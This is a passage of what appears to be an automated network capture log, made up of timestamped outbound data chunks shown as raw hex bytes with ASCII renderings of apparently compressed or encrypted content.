9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:18 UTC	9153	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:18 UTC	9169	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:18 UTC	9185	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:18 UTC	9201	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:18 UTC	9217	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:18 UTC	9233	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:18 UTC	9249	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:18 UTC	9265	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:18 UTC	9280	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:18 UTC	9296	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:18 UTC	9312	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:18 UTC	9328	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:18 UTC	9344	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:18 UTC	9360	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:18 UTC	9376	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:18 UTC	9392	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:18 UTC	9408	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:18 UTC	9424	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:18 UTC	9440	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:18 UTC	9456	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 